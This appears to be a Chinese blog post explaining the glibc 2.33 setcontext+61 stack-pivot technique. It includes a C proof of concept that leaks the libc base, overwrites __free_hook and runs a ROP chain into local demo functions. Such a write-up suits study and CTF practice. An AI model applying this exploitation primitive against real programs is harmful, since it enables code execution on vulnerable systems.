前言
setcontext利用是通过利用setcontext+61处的mov rsp, [rdx + 0xA0]
这一gadget来控制rsp
寄存器,将栈迁移到一个可控位置,进而实现rop利用。这里用glibc-2.33为例
分析
利用逆向软件可以从setcontext+61(0x529AD)处开始的一段gadget看出, 只要控制rdx
寄存器的值,就能控制多个寄存器,包括rsp
和rbp
寄存器,即可以控制栈的位置。
利用ROPgadget搜索glibc后发现这样一个gadget:
0x000000000014a0a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
同时根据调用约定,64位linux环境下,函数的地一个参数是通过rdi
寄存器传递。同时free
函数中调用__free_hook
时是将free
传入的地址作为第一个参数传入。也就是说可以通过劫持__free_hook
为上面提到的gadget,然后在rdi + 8
指向的堆块中布局好参数(主要是偏移0x20处写入setcontext+61的地址, 0xa0处写入栈迁移的目标位置)
要注意的是在setcontext返回之前有一个push rcx
的操作,因此ROP链的第一个返回地址要写在rdx + 0xa8
所指向的位置。
PoC
我这个PoC代码不知道为什么,调试的时候printf有输出,直接运行是没有输出。。。但是确实执行了ROP链
#include <stdio.h>
#include <stdlib.h>
#define MALLOC_HOOK 0x1e0b90
#define SETCONTEXT 0x52970
#define GADGET 0x14a0a0
#define FREE_HOOK 0x1e3e20
#define RET 0x1b
void backdoor_1() {
printf("success 1");
}
void backdoor_2() {
printf("success 2");
}
int main() {
setbuf(stdout, 0);
unsigned long *leak = malloc(0x500);
unsigned long *gap = malloc(0x10);
free(leak);
unsigned long malloc_hook = *leak - 96 - 0x10;
unsigned long libc_base = malloc_hook - MALLOC_HOOK;
unsigned long *free_hook = libc_base + FREE_HOOK;
unsigned long setcontext = libc_base + SETCONTEXT;
unsigned long gadget = libc_base + GADGET;
*free_hook = gadget;
unsigned long *chunk_1 = malloc(0x500);
unsigned long *chunk_2 = malloc(0x500);
unsigned long *chunk_3 = malloc(0x500);
chunk_1[1] = chunk_2;
chunk_2[4] = setcontext + 61;
chunk_2[20] = chunk_3;
//ROP chain
chunk_2[21] = (unsigned long)&backdoor_1 + RET;
chunk_3[0] = &backdoor_1;
chunk_3[1] = (unsigned long)&backdoor_1 + RET;
chunk_3[2] = &backdoor_2;
free(chunk_1);
return 0;
}